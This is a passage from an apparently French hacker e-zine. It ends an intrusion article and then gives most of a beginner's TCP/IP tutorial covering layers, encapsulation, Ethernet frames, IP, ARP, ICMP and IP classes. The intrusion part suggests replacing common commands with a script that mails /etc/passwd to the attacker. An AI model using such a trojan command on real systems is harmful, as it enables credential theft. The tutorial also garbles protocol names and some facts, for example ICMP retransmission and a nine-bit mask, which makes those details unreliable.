/usr/bin l'est, vous pouvez remplaçer certaines commandes fréquemment utilisées par script du même nom mais de votre composition. Par exemple, vous pouvez remplaçer une commande par un script comme : " /bin/mail vous@votrecompte.com < /etc/passwd ". Ca y est, nous avons vu en détail le schéma de l'attaque. Je vais laisser place à une capture d'écran qui illustrera et résumera tout ça. 2.3 Intrusion en image : ________________________ Affichez l'image 8 svp. ! - Ben quoi ? vous avez déja vu des captures d'écran en ASCII vous ?! - Conclusion : ____________ Voila, j'espère que ce petit article vous aura appris quelque chose. Si vous avez des remarques, conseils, écirvez moi à neo_fox_2001@hotmail.com. Il existe pas mal d'articles qui expliquent cette méthode, mais comme je l'ai surement déja dit, ils expliquent tous le fonctionnement de l'attaque sans se soucier réellement du fonctionnement normal. J'ai voulu que cet article soit le plus complet possible. Sources : _________ " UNIX, Installation, Configuration, Administration" Ed. Osman Eyrolles Multimedia " Linux, Solutions Réseau " Viktor T. Toth Ed. Campuspress ---------------------------------------------------------------------------------------------- Introduction à TCP/IP (1/2) par NeoFox ---------------------------------------------------------------------------------------------- [ Avertissement : 90Ko ! ] ++++ Partie I : Les Bases de TCP/IP ++++ -> Qu'est-ce que TCP/IP ? -> Le Fonctionnement de TCP/IP | I. Qu'est-ce que TCP/IP | _________________________ A) Définitions : ________________ TCP/IP signifie " Transfert Contrôle Protocol / Internet Protocol " . C'est une suite de protocoles qui définissent comment doit être envoyée une information sur un réseau. D'où deux questions auquelles nous allons répondre : qu'est-ce qu'un protocole et qu'est-ce qu'un réseau ? Un réseau est un ensemble de machines interconnectées qui communiquent entre elles grâce à une technique commune de transmission. Ces machines sont donc connectées soit par câble, par ligne téléphonique etc ... Les applications de chaque machine doivent donc dialoguer avec les applications des machines voisines en respectant pour cela une séries de règles apellées protocoles. Un protocole est donc une suite de règles reconnues par toutes les machines du réseau et utilisées sur celui-ci pour communiquer. Ce qu'il faut bien comprendre, c'est que TCP/IP est un schéma, une représentation des diverses transformations qu'une machine doit appliquer aux informations pour les placer sur le réseau. Les logiciels fournissant les services de mise en réseau sont conçus de manière à respecter les règles définies par les protocoles de TCP/IP. On dit de ces logiciels qu'ils sont l'implémentation de TCP/IP. La tâche de ces logiciels consiste à formater les données au format TCP/IP. Dans la pratique, des données complexes quittant les applications de la machine locale seront simplifiées à l'extrême par les logiciels TCP/IP et transformées en un train de bits puis plaçées sur le réseau. Enfin, lorsqu'elles parviennent à la machine distante, TCP/IP effectue l'opération inverse, c'est à dire reconstitue la totalité de ces données de manière à ce qu'elles puissent être à nouveau être traitées par les applications de la machine distante. Le model TCP/IP représente un ensemble de normes établies par un organisme apellé l'IETF (Internet Engineering Tasking Force). Cet organisme publie des documents contenant les spécifications techniques de TCP/IP. Ces documents sont apellés RFC (Request For Comments), Voir patie annexe. En résumé, TCP/IP est une suite de protocoles. Un protocole est une ensemble de règeles qui definissent comment doivent être transformées puis envoyées les données. Les logiciels fournissant ces services appliquent ces règles et sont l'implémentation des protocoles. B) Caractèristiques TCP/IP : ____________________________ Voici les certaines carctéristiques de TCP/IP qui vont vous permettre de vous faire une idée de son fonctionnement : l'Adressage Logique et le routage. 1) L'adressage logique : ________________________ Voyons tout dabord comment est envoyée une information sur un réseau de type LAN ( Local Area Network = réseau d'entreprise ). Les données utlisisées par une application de la machine emettrice (A) doivent être expédiées vers une seconde machine (B) du réseau pour y être utilisées par une autre application. Bon, alors les données sont converties au format TCP/IP par les logiciels locaux puis traversent la carte réseau de la machine A, circulent en suite sur le câble dédié, arrivent sur la carte réseau de la machine B, sont prises en charges par le logiciel de la carte réseau puis sont à nouveau transformées par TCP/IP pour être livrées aux applications. Comment font les machines pour savoir à qui envoyer les infos ? Une Carte Rréseau comporte une adresse dite " adresse physique " ou " adresse MAC " qui est codée sur 48 bits. Cette adresse est un nombre unique et permanant qui lui a été attribué en usine, lors de sa fabrication. On apelle " Protocoles de bas niveau ", les protocoles liés au matériel et qui acheminent les données en fonction de cette adresse physique. Les données à destination d'une machine A transitent sur le support du réseau, et sont examinées par les cartes réseaux de toutes les machines, chaque machine compare l'adresse du destinataire à celle de sa carte réseau et si les adresses ne coïncident pas, la machine "libère" le paquet de données et ainsi de suite. Seul le destinataire capturera le paquet pour en extraire les données. On voit donc la carte réseau d'une machine "ecoute" l'ensemble du trafic de son réseau pour n'en capturer que les données qui lui son destinées. Mais sur des réseaux de grande taille, il serait impossible qu'une carte réseau puisse examiner la totalité du trafic. Les Administateurs réseau segmentent donc leur réseau global en plusieurs sous-réseaux. Cette subdivision est possible grâce à l'adressage logique (enfin, on y vient ... ), assuré par le protocole Internet. Il s'agit là de la fameuse adresse IP. Je disais que ce système d'adressage permettait la subdivision d'un réseau. En effet, une IP est un nombre codé sur 32 bits ( 4 octets ) qui ressemble comme vous le savez à : 193.248.25.30 Une adresse IP contient : -> une partie désignant le réseau et le sous réseau : on parle d'ID réseau. -> une partie désignant vôtre machine sur ce réseau : on parle d'ID hôte. En fonction du nombre d'octets de l'ID hôte, on peut grouper les adresses IP en différentes classes : A,B,C,D et E dont nous parleront plus en détail dans le chapître 4 ( Partie II ) " Le Protocole Internet ". Lors de vôtre connection par modem, une adresse IP aléatoire et temporaire ( dynamique ) est allouée à la carte réseau de vôtre PC par vôtre ISP, vôtre fournisseur d'accès. Si vous êtes votre propre provider, un organisme apellé l'IANA attribuera une rangée d'IP à vôtre réseau, et l'admin configuera un IP (fixe) par machine. Nous avons vu, plus haut qu'un grand réseau pouvait être divisé en sous-réseaux grâce à cet adressage et à l'utilisation de routeurs. 2) Le Routage : _______________ Un routeur est un machine qui est chargée d'orienter les données entre plusieurs sous-réseaux et pour ce faire, "lit" les adresses logiques contenues dans les en-têtes des données envoyées. Si les données sont à destination d'une machine du réseau local, elles ne franchissent pas le routeur. Si, dans le cas contraire, elles sont destinées à une machine externe, le routeur les prends en charge, puis les dirige vers le réseau conçerné. Le concept sera approfondi dans un prochain chapître. Vous avez maintenant une idée de ce qu'est TCP/IP ... non ? eh bien reprennez depuis le début avant de passer à la suite ! La suite justement ... | II. Le Fonctionnement de TCP/IP | ________________________________ -> Survol des couches -> TCP/IP et OSI -> Encapsulation des données A) Survol des Couches : _______________________ Les différents services de mise en réseau de offerts par TCP/IP sont définis par des procoles. Ces procoles sont schématisés et groupés en "Couches" dans l'ordre dans lequel ils interviennent dans le traîtement de l'informaiton. On dennombre ainsi 4 couches : La couche Accès Réseau, Internet, Transport et Application. Les informations sont traitées par chaque couche puis descendent sur le support pour " remonter " les couches sur la machine réceptrice, c'est à dire être traitées de manière inverse par ces couches. Nous allons voir globalemnet le rôle de chaque couche : -> La Couche Accès Réseau : ___________________________ La Couche Accès Réseau ou AR assure l'interface physique avec le réseau. C'est elle qui va formatter les données en partance aux normes du réseau pour les plaçer par la suite sur le support. Cette tâche incombe dans la pratique au logiciel de la carte réseau. C'est une couche de bas niveau, c'est à dire qu'elle intervient en dernier dans le traitement des données expédiées. C'est aussi elle qui est chargée de la réception des informations. C'est une couche qui peut être apellé "matérielle" puisque les services qu'elle décrit sont assurés par des composants physique du câblage à la Carte Réseau en passant par le modem. Choisir une architecture réseau ( Ethernet, Token ring, FDDI ... ) revient à choisir un type de carte réseau. Enfin, c'est cette couche qui est responsable de l'adressage physique. -> La Couche Internet : _______________________ De loin la plus intéressante ( à mon avis ) puisqu'elle contient bon nombre de procoles dont vous entenderez souvent parler par la suite. Comme nous l'avons vu plus haut, la couche Internet est responsable de l'adressage logique, organise le routage et permet ainsi de relier plusieurs réseaux distants même si leur architecture s'avère différente. Cette couche contient également des protocoles chargés d'établir la correspondance entre adresses physiques générées par la couche AR, et adresses logiques. -> La Couche Transport : ________________________ C'est la couche qui est responsable du contrôle des erreurs et de la gestion du flux. Lorsque un information est envoyée à une machine distante, elle s'assure qu'elle lui soit bien parvenue et lors de la réception d'un message, se charge de signaler à la machine émettrice que les données attendues lui sont bien parvenues en envoyant des accusés de récetpion. Elle contient deux protocoles fondamentaux : TCP et UDP, respectivement << Transfert Contrôl Protocol >> et << User Datagram Protocol >>. Nous étudierons ces protocoles un peu plus bas. -> La Couche Application : __________________________ C'est la couche qui assure l'interface utilisateur. Pour vous donner une idée, pensez au Procole NetBIOS qui sous Windows assure le partage de fichiers. C'est une API ( Application Program Interface ). En fait, NetBIOS vous permet de travailler sur un fichier d'une machine distante en donnant l'illusion qu'il est sur votre disque. Eh bien, dans ce cas de figure, la couche Application interprète les données que lui transmettent les autres couches afin de générer une environnement de type bureau. En bref, elle est composée de divers logiciels sensibles au réseau (FTP / Telnet ... ). B) TCP/IP et OSI : __________________ Le model OSI est, comme TCP/IP, un standard de protocoles qui définit la façon dont seront envoyées les informations sur un réseau. Son rôle est fondamentalement le même que celui de TCP/IP, ses protocoles sont identiques mais sont organisés en 7 couches au lieu de 4. On trouve donc : la Couche Physique, la Couche Liaison aux Données, Réseau, Transport, Session, Présentation et Application. Voici à quoi ressemble la pile de protocoles OSI comparativement à TCP/IP : OSI TCP/IP ___________________ __________________ | | | | | Application | | | ___________________ | | | | | | | Présentation | | Application | ___________________ | | | | | | | Session | | | ___________________ __________________ | | | | | Transport | | Transport | ___________________ __________________ | | | | | Réseau | | Internet | ___________________ __________________ | | | | | Liaison-Données | | | ___________________ | Accès Réseau | | | | | | Physique | | | ___________________ __________________ Dans un souci de simplicité nous allons numéroter les couches en partant du bas : Pour TCP/IP la couche Accès Réseau est la n°1 et la couche Application la n°4. Pour OSI la couche Physique est la n°1 et la n°7 est la couche Application. On voit donc que la couche Accès Réseau de TCP/IP équivaut aux couches Physiques et Liaisons-Données OSI. La couche Internet TCP/IP vaut la couche 3 ( Réseau ) OSI. De même, la couche Transport de TCP/IP vaut la couche 4 ( Transport ) OSI. Enfin, la couche Application de TCP/IP regroupe sous OSI les couches Session, Présentation et Application. L'article étant consacré à TCP/IP, nous n'allons pas entrer dans les détails de la structure de couches OSI. Mais le model OSI est souvent cité comme référence et il est donc important de connaître sa composition. Nous allons voir à présent un concept clé du fonctionnement de TCP/IP : Il s'agit de l'encapsulation des données. C) L'encapsulation des données : ________________________________ Nous avons vu que les information destinées à être envoyées sur le réseau, sont successivement traitées par chaque couche qui la passe à la suivante et ainsi de suite jusqu'à ce que les données soient placées sur le câble. A l'arrivée, l'information est, rapellons le, traitée à nouveau par mais subit les informations inverses. Chaque couche prends donc en charge les données, les traite, et les passe à la couche suivante. Ceci est rendu possible par un système " d'encaputlation" . Lorsque des données passent par une couche, celle-ci leur ajoute un ensemble d'informations à destination de la couche correspondante de la machine à laquelle est destinée le message. Les informations ajoutées ainsi sont apellées "en-têtes" . On dit que les couches encapsulent les informations. A la réception, chaque couche prélève l'en-tête qui lui destinée, l'exploite puis l'élimine, livrant le reste à la couche suivante. Comme chaque couche ajoute sa propre en-tête, nous verrons la composition des en-têtes en voyant le détail des couches. Un petit schéma pour résumer tout ça ? : Au départ : ___________ ______________ | donnée brute | | | V __________________ | | ______________ | Application | | donnée brute | __________________ | | ______________ ___ | Transport | | || 1 | En-tête générée par la couche Transport. __________________ | | ______________ ___ ___ | Internet | | || || 2 | En-tête générée par la couche Internet. __________________ | | ______________ ___ ___ ___ | Accès Réseau | | || || || 3 | En-tête générée par la couche AR. __________________ | | V câble -_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_ ______________ ___ ___ ___ | donnée brute || 1 || 2 || 3 | Les données ainsi enpaquetées sont plaçées sur le support. A l'arrivée : ( lire en partant du bas ! ) _____________ _______________ ______________ La couche Application récupère les données telles qu'elles | | | | | donnée brute | ont été envoyées par l'expéditeur puis les traite | Application | _______________ ______________ ___ | | | || 1 | L'en-tête Transport est récupéré par la couche | Transport | _______________ ______________ ___ ___ | | | || || 2 | L'en-tête Internet est récupéré par la couche | Internet | _______________ ______________ ___ ___ ___ | | | || || || 3 | L'en-tête AR est récupéré par la couche | Accès réseau | _______________ ^ | | ______________ ___ ___ ___ | donnée brute || 1 || 2 || 3 | Les données encapsulées arrivent sur la machine réceptrice. -_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_ câble On voit donc le fonctionnement des en-têtes lors de la traversée de la pile de protocoles. Au passage de chaque couche est ajoutée aux données un en-tête. La paquet changeant de forme, il change aussi de nom. Les paquets dont donc désignés par des nom différents selon les couches qu'ils traversent. Au niveau de la couche Application, on parle de message. Au niveau de la couche Transport, on parle de segments ( ou de datagrames - on y reviendra - ). Au niveau de la couche Internet, on parle de datagrames. Au niveau de la couche Accès Réseau, on parle de trames. La couche Réseau, pour les mettre sur le support, fractionne les trames. Sur le câble, ce ne sont plus que des trains de bits. Le concept d'emballage ou d'encapsulation est essentiel dans la compréhension de TCP/IP et vous avez à présent une idée de la façon dont votre machine s'y prends pour fournir les services de mise en réseau. Dans la seconde partie, nous allons voir en détail le rôle et la composition de chaque couche, et décrire le fonctionnement de chaque protocole. Rendez vous Partie II pour la suite ... ++++ Partie II : Le Système de protocoles TCP/IP ++++ -> La couche Accès Réseau -> La couche Internet -> La couche Transport -> La couche Application | III. La Couche Accès Réseau | _____________________________ -> Description -> Architecture réseau -> Exemple de Trame La couche Accès Réseau est la base de la pile de protocoles TCP/IP. Elle correspond aux couches Physique et Liaison-Données d'OSI. A) Description : ________________ La couche Accès Réseau a pour rôle de plaçer les données sur le réseau physique. Elle doit assurer l'interface avec la Carte Réseau, gérer le formatage des datagrames qu'elle reçoit de la couche Internet, ajouter des en-têtes aux trames ainsi crées et convertir le tout numériques en signaux analogiques pour permettre leur envoi sur le réseau. C'est le logiciel de la Carte Réseau qui va créer les trames, et le modem qui va s'occuper de la conviesion numérique / analogique. On dit de la couche AR qu'elle est composée de protocoles de bas niveau, au sens où ces derniers sont dépendants du matériel. Modem et Carte Réseau sont donc des matériels qui opèrent au niveau de la couche AR. Elle est aussi responsable de l'adressage physique. Une adresse physique est comme nous l'avons dit, un nombre codé sur 48 bits et attribué en usine à la carte réseau. C'est ce type d'adressage qui est utilisé sur un LAN pour situer expéditeur et destinataire. Le logiciel de la carte réseau va donc formatter les datagrames sous forme de trames en incluant dans les en-têtes les adresses physiques de l'expéditeur de du destinataire. La Couche AR est liée au matériel à tel point que choisir une topologie de réseau revient à choisir un type de Carte Réseau. B) Architecture Réseau : ________________________ Nous allons nous intéresser à la topologie de réseaux d'entreprise ou LAN : Comme on l'a dit plus haut, choisir une architecture réseau c'est choisir un type de carte réseau ... Bon, d'accord, mais choisir entre quoi et quoi ? Les différents types de réseau dont nous allons parler sont Ethernet et Token Ring. Si l'on a choisi de monter un réseau Ethernet, on a enfait choisi d'équiper l'ensemble de ses machines de cartes réseau Ehternet. Ces cartes réseaux ne vont pas traiter les données comme celles des Token Ring. La composition des trames ne sera pas la même. Comme la diffusison des données ne répondra pas aux mêmes critères, l'architecture, càd le positionnement des machines sera différent selon le type de réseau. 1) Ehternet : _____________ Les machines d'un réseau Ethernet sont réliées par une seule ligne de communication. Les dimentions de ce câble peuvent varier et leur noms aussi. On trouve : - le 10Base-2 : câble léger de petit diamètre qui achemine les données à 10 Mbps ( Méga Bits par secondes ). - le 10Base-5 : toujours à 10 Mbps mais une plus longue portée. - le 10Base-T : Câble torsadé, utilisé pour les réseaux en étoile. .... - le 100Base-TX : Comme 10Base-T mais 10 fois plus rapide. - le 100Base-FX : 100 Mbps, en fibre optique, 2000 m de portée. La topologie d'un Ethernet peut donc varier en fonction du cablage utilisé. Il existe donc différentes architectures Ethernet. Entre autres : Le réseau en Bus : __________________ _______ _______ _______ _______ _______ _______ | | | | | | | | | | | | |machine| |machine| |machine| |machine| |machine| |machine| | 1 | | 2 | | 3 | | 4 | | 5 | | 6 | _______ _______ _______ _______ _______ _______ | | | | | | | | | | | | _________________________________________________________________________________________ Le réseau en étoile ( Star LAN ) : __________________________________ _______ | | |machine| | 1 | _______ | _______ | _______ | | | | | |machine| | |machine| | 2 | | | 3 | _______ | _______ | _____________ | |_____________ |concentrateur| _____________| _____________ | | | | | _______ | | |machine| | 4 | _______ Les machines de ces réseaux Ethernet ont une carte réseau de type Ethernet. Les trames qu'elles vont produire auront une certaine composition différente de celles d'un Token Ring par exemple. C'est le type de votre carte réseau qui définit le type de réseau auquel vous appartenez. Sous Ethernet, l'accès au réseau se fait grace à un protocole apellé CSMA/CD pour " Carrier Sense Multiple Acces / with Collision Detection " ce qui signifie en bon franglais " Protocole d'Accès Multiple avec detection de collision ". Dans la pratique, cela signifie que chaque machine attend le silence réseau pour commencer à emettre. Si deux machines commencent en même temps, les deux s'arretent (" Collision Detection") pour reprendre l'une apres l'autre. 2) Token Ring : _______________ Token Ring siginfie " Anneau à jeton ". Ce nom s'explique par le fait que sur un LAN de ce type, l'accès réseau se fait suivant le principe du relais. Le "jeton" qui fait office de relais est en fait constitué d'un petit paquet de quelques octets qui circule de machine à machine. Seule peut emettre la machine qui a le relais en sa possession. Lorsque le relais lui parvient, elle le capture le temps de placer ses données sur le réseau, aprés quoi elle le libère. Les machines sont donc connectées en anneau et raccordées à un répartiteur central qui génère le "jeton" et le transmet tour à tour à chaque machine. Comme le trafic est ordonné, ce type de réseau est peu sensible à l'intensité de celui-ci. Cette technologie est cependant plus onéreuse que celle d'un Ethernet. Quoi qu'il en soit, sur les deux types de réseau que nous avons cité circulent des trames générés par les logiciels d'accès réseau. La nature de trames diffèrent cependant selon le type de réseau. C) Exemple de Trame : _____________________ Lorsqu'un datagrame en provenance de la couche Internet arrive à la couche Accès Réseau, cette dernière se charge de le convertir conformement aux besoins du réseau destiné à la reçevoir. Rapellez vous que les cartes réseau des machies d'un Ethernet et de celles d'un Token Ring ne sont pas identiques. De ce fait, les transformations effecutées sur les trames au niveau de la couche AR par les logiciels de la carte réseau, varieront selon qu'il s'agisse d'un type de réseau ou d'un autre. Il y a donc autant de format de trames que de type de réseaux différents. Je ne pense pas qu'il soit vital de connaître par coeur le contenu exact de ces trames vu leur diversité, mais avoir une idée de leur composition peut aider à la compréhension du role de la couche AR. Prenons en exemple la compostion d'une trame Ethernet : _______________________________________________________ Sur un machine d'un réseau de type Ethernet une machine, lorsque la couche IP transmet ses datagrames à la couche AR, le logiciel Ethernet de la couche AR se charge dans un premier temps de fragmenter les données pour permettre la mise en trame. Dans un second temps, il procède justement à la mise en trame. Il emballe pour cela les données ( qu'il vient de fragmenter ) en leur ajoutant un en-tête et une somme de contrôle. Le tout comporte plusieurs champs. Format de la trame Ethernet : +-----------+--------------+----------+----------+-----------+----------+ | Préambule | Adresse | Adresse | Type | Données | Somme de | | | destinataire | source | | 46 à 1500 | contrôle | | 8 octets | 6 octets | 6 octets | 2 octets | octets | 4 octets | +-----------+--------------+----------+----------+-----------+----------+ - Préambule : pour indiquer le commençement du message. - Adresse du destinataire : c'est l'adresse MAC du destinataire. - Adresse de l'expéditeur : adresse MAC de l'expéditeur ( logique ! ). - Longeur du message : exprimée en quelques octets. - Données* : le coprs même du message. - Somme de contrôle : valeur qui va permettre à la machine réceptrice de savoir si la trame a été ou non altérée lors du transport. *: Le champ "données" du paquet contient dans l'ordre : l'en-tête IP, l'en-tête TCP ou UDP et enfin les données à destination des applications. Les adresses destinataire et source sont bien sur les adresse "Physiques" sur 48 bits. Le logiciel Ethernet finit par traduire chaque trame en un train de bits qu'il place sur le réseau physique. On voit que dans la trame figure l'adresse physique du destinataire. Rapellons que sur un réseau local, chaque machine peut "voir" les informations en transit puisqu'elles comparent l'adresse MAC contenue dans les trames avec la leur pour savoir si elles leur sont destinées ( seule la machine dont l'adresse MAC coïncide peut capturer la trame ). Donc sur un réseau de type Ethernet, le logiciel place l'adresse MAC du destinataire dans les trames avant de les faire passer sur le réseau. Mais comment sait-il qu'une machine voisine a telle ou telle adresse ? Plus fort, comment peut-il connaître l'adresse MAC d'une machine située sur un réseau distant ? Tout cela est permis par les divers services offerts par la couche Internet. | IV. La Couche Internet | _______________________ -> Les 5 protocoles -> Exemple de datagrame -> Adressage IP A) Les 5 protocoles : _____________________ Dans la couche Internet se trouvent 5 protocoles à connaître : 3 protocoles important, IP, ARP et ICMP et 2 portocoles secondaires : RARP et IGMP. 1) Le protocole IP : ____________________ Le protocole IP ( Internet Protocol ) est responsable de l'élaboration des datagrames, de leur acheminement et de leur traitement à la réception. IP permet d'acheminer les informations d'un bout à l'autre du monde, en les faisant transiter sur de nombreux réseaux hétérogènes jusqu'aux applications de la machine cliente. Nous avons vu que sur un réseau, chaque machine captait les trames en transit pour comparer l'adresse MAC y figurant à la leur. Ceci est rendu possible car ( dans le cas d'un ethernet par exemple), les trames produites au niveau de la couche AR ont un format compatible avec les logiciels Ethernet des cartes réseaux. Que se passe t'il si une machine d'un Ethernet veut communiquer avec une autre d'un réseau Token Ring distant de 5000 Kms ?! Les machines ne sont pas du même réseau donc leurs cartes réseau ne peuvent pas capter directement les trames. De toute façon les trames produites par les deux machines ne seraient pas du même format. Souvenez vous que la couche AR et les protocoles qui lui sont associés sont intimement liés au matériel. De ce fait, si le matériel n'est pas homogène, ( carte réseau Ethernet et une Token Ring ) la transmission ne peut se faire. Seulement voila, dans la pratique, un Ethernet doit pouvoir communiquer avec un Appel Talk et un Token Ring même leur principes d'accès Réseau diffèrent. Le Protocole Internet dépasse le problème matériel et peut ainsi mettre en relation deux machines apartenant a deux réseaux distants de topologie différente. Cela tient au fait que IP met en oeuvre un adressage logique et n'est donc pas lié au matériel comme l'est l'adressage physique mis en place par la couche AR. Cela tient également au rôle d'ARP qui établit la correspondance entre adresses logiques et adresses MAC come nous le verons plus loin. Comment IP s'y prend t'il ? IP compare l'adresse logique de la machine émettrice à celle de la machine réceptrice. Si la comparaison des adresses IP indique que les machines sont sur le même réseau local, IP forge un datagrame qui sera envoyé directement à la machine du destinataire. Dans le cas contraire, IP comprend que le destinataire est situé sur un réseau distant. Le datagrame sera alors expédié en direction d'un routeur. Le routeur invoqué est souvent la machine apellée " Passerelle par défaut " dont l'adresse est contenue dans l'en-tête des datagrames. Ce principe sera détaillé dans le chapître VII. IP est décrit par la RFC 791, voir annexe. 2) ARP : ________ Le protocole ARP siginfie " Adress Resolution Protocol ", protocole de résolution d'adresses. Son rôle est de trouver l'adresse physique d'une machine dont l'adresse logique est connue. ARP interroge les machines connectées au réseau pour connaître leur adresses physiques. Il mémorise ensuite la correspondance entre adresse IP et adresses MAC. Le protocle IP doit connaître l'adresse logique de son correspondant afin d'élaborer ses datagrames. La couche AR aura quant à elle besoin d'en connaître l'adresse physique pour élaborer ses trames. Comment la résolution d'adresses se fait elle ? Une machine d'un LAN doit communiquer avec une autre machine dont elle ne connait pas l'adresse MAC. Le protocole Internet interroge en premier lieu la mémoire d'ARP. Si l'adresse physique désirée s'y trouve, un datagrame sera envoyé directement au destinataire. Si elle ne s'y trouve pas, ARP emmet un appel sur le LAN demandant l'adresse MAC de la machine qui possède telle adresse IP. La machine concernée répond en indiquant son adresse MAC. Si la machine du destinataire n'est pas située sur le réseau local, un message est envoyé à destination d'un routeur par défaut qui l'acheminera jusqu'au réseau de la machine distante. L'information circulera sur ce réseau, et la machine conçernée répondra en envoyant son adresse MAC. Dans tous les cas, la correspondance adresse IP / adresse MAC est effectuée par ARP, et le dialogue peut être entamé. ARP est décrit par la RFC 826. 3) ICMP : _________ ICMP est le 3 eme protocole important de la couche Internet. Ce sont pricipalement les routeurs qui l'utilisent. C'est un protocole qui siginfie " Information Contrôl Protocol ". Il permet d'avertir une machine d'une erreur survenue durant l'acheminement des données. Les trames empruntent plusieurs routeurs pour arriver au destinataire. Au cours de ce trajet, les trames peuvent se perdre, ou un routeur peut être défaillant. Les routeurs conçernés devront donc en cas de perte des paquets informer expéditeur et destinateur du problème rencontré. Pour ce faire ils font faire appel au protocole ICMP. Dans le cas d'un paquet perdu ou altéré, ICMP servira à demander la réexpéditon du paquet. Un autre cas de figure est qu'un routeur reçoive un tros gros volume de trames à relayer et demande à l'expéditeur, via une requête ICMP, de réduire son volume de transmission. En résumé, ICMP informe les machines conçernées des éventuels problèmes rencontés. ICMP est décrit par la RFC 792, voir annexe. 4) RARP : _________ Si vous avez compris le principe d'ARP, vous avez également compris celui d'RARP. RARP signifie " Reverse Adress Resolution Protocol ", protocole de résolution d'adresses inversé. Comme son nom l'indique, RARP s'occupe de trouver l'adresse IP correspondant à une Adresse MAC. Comme le principe des indtique à celui d'ARP on va passer directement à la suite ! 5) IGMP : _________ IGMP qui signifie " Information Group Management Protocol" permet la diffusion d'un même message à toute les machines d'un réseau sans que la machine émettrice ait besoin de renouveller son message. On dit que c'est un protocole responsable de la multidiffusion. B) Exemple de datagrame : _________________________ Pour mener à bien l'ensemble de ces taches, IP génère des en-têtes lors de l'émission, et les exploite à la réception. Ces en-têtes comme celles fabriquées par les autres protocoles sont composées de diffèrents champs. Voici le schéma d'un datagrame : _______________________________ _________ ___________________ _________________ ___________________ | | | | | | Version | Longueur en-tête | Type de service | Longueur totale | | | | | | _________ ___________________ _________________ ___________________ | | | | | Identification | Flag | Décalage Fragment | | | | | _____________________________ ___________ _________________________ | | | | | TTL | Protocole | Somme de contrôle en-tête | | | | | _____________ _______________ _____________________________________ | | | Adresse IP Source | ___________________________________________________________________ | | | Adresse IP destination | ___________________________________________________________________ | | | | | Données | | | < --- Ici commençera l'en-tete TCP ---> On voit de nombreux champs destinés à renseigner le destinataire et les routeurs. Version : indique la version du protocole IP utilisée ( actuellemnet IP v.4 ). Longueur en-tête : comme son nom l'indique, somme exprimant la longueur de l'en-tête. Type de service : infos destinées aux routeurs ( expédition urgente ou normale etc ... ). Longueur totale : longeur de tout le datagrame. Identification : " n° de série " du datagrame. Flag : indicateur destinés à gérer la fragmentation*. Décalage : valeur permettant de replacer les trames dans le bon ordre à la réception. TTL : " Time to Live " ou durée de vie**. Protocole : contient le nom du protocole de la couche Transport le datagrame devra être livré. Somme de contrôle : valeur permettant de vérifier l'intégrité de l'en-tête à la réception. IP source : champ qui sera exploité par le destinataire pour répondre. IP destination : champ exploité par les routeurs pour rediriger les trames. Données* : contient le corps du message dont l'en-tête TCP ou UDP. * -> Fragmentation : _______________ Un réseau Ethernet par exemple ne peut acheminer des trames supérieures à env. 1500 octets. Or un Token Ring peut transporter des trames plus importantes. Donc lorsqu'une trame est fabriquée par la couche AR d'une machine sous anneau à jeton, en prévision de son éventuel transport via un réseau n'acheminant que de petits datagrames, la Fragmentation permet de rendre de grosses trames digestibles par un réseau du type d'un Ethernet. Une machine peut procéder à une segmentation plus fine des paquets, si le réseau en sortie n'a pas les performances suffisantes pour véhiculer le paquet d'origine. L'en-tête IP contient donc des infos afin de définir comment devront être fragmentées les données. ** -> Durée de vie : ______________ TTL ou "Time to live" est une valeur qui indique le nombre de routeurs que le datagrame poura franchir avant d'être concidéré comme "expiré". Cela évite que le paquet ne se perde et ne soit relayé indéfiniement. Lorsqu'un datagrame franchit un routeur, ce dernier décrémente la valeur de la TTL de 1 jusqu'à atteindre 0. Lorsque la valeur atteint 0, le routeur conçerné informe la machine émettrice que le paquet est perdu par l'envoi d'un paquet ICMP comme là encore nous le verrons plus loin. C'est le principe du traceroute : Lorsqu'on trace une machine distante, IP envoie au routeur par défaut un datagrame avec un TTL de 1. Le paquet expire qu premier saut et un paquet ICPM est forgé par le routeur. Il indique que le paquet a expiré et mentionne son adresse IP. La première machien mentionnée lors d'un traceroute est le routeur par défaut. IP envoie ensuite un datagrame a destination de la machine traçée avec un TTL de 2. Le routeur par défaut reçoit le paquet et l'aiguille vers le routeur le plus proche du destinataire. Le second routeur reçoit donc le paquet qui expire et vous envoie un message d'erreur avec sont adresse IP. Ainsi de suite jusqu'a obtenir l'adresse IP de la cible et la liste de l'ensemble des machines intermédiaires. L'adressage logique mis en place par IP lui permet de faire transiter les informations sur plusieurs réseaux consécutifs bien que ceux-ci ne soient pas homogènes. C) Adressage IP : _________________ L'adressage IP nous l'avons vu perment du dépasser les problèmes d'incompatibilité matérielle et autorise de ce fait la communication entre deux machines de deux réseaux de topologie différente. A chaque machine est attribuée une adresse IP qui permet de situer cette machine sur internet. 1) Compostion d'une adresse IP : ________________________________ Une adresse IP est comme une adresse postale. Il faut l'adresse de la maison, et celle de la rue/ville. Une adresse IP est donc composé d'une partie qui définit le réseau et d'une autre qui identifie la machine sur ce réseau. On parle respectivement d'ID réseau et d'ID hôte. Par exemple : 195.6.210.9 -> [195.6.210] [.9] | | ID réseau | | ID hôte Pour identifier l'ID réseau de l'ID hôte on utilise un "masque de sous-réseau". Le masque de sous-réseau de 195.6.210.9 est 255.255.255.0 ce qui donne : [255.255.255] [.0] | | | | sépare l'ID réseau ... | | ... de l'ID hôte Une adresse IP, telle qu'elle est insérée dans les en-tête des datagrames IP, est une suite de 32 bits. Selon la taille (en bits) de l'ID réseau, on peut classer les adresses selon 5 classes, de A à E. 2) Classification : ___________________ On trouve 5 classe dont 3 importantes. Nous allons voir leurs caractèristiques imortantes de chacune d'entre elles. Classe A : __________ Un réseau de Classe A a une ID réseau sur 8 bits soit un octet. Le masque de sous-réseau d'une adresse de classe A est 255.0.0.0 ce qui donne en valeur binarie : 111111111.00000000.00000000.00000000 Le premier octet d'une IP de classe A définit le réseau sur le quel se trouve la machine. Sa valeur binaire commence toujours par un 0 ce qui donne des valeurs décimales comprisent entre 0 et 127 pour l'octet de tête. En clair, une IP de classe A commence par une valeur comprise entre 0 et 126 car sous TCP/IP une IP commençant par 127 désigne votre propre machine. Chaque réseau de classe A peut supporter persque 17 millions de machines ! Les IP de classe A sont affectées à des entités ( pays ... ) qui ont un grand nombre de machines à connecter. Classe B : __________ Un réseau de Classe B a une ID réseau sur 16 bits soit 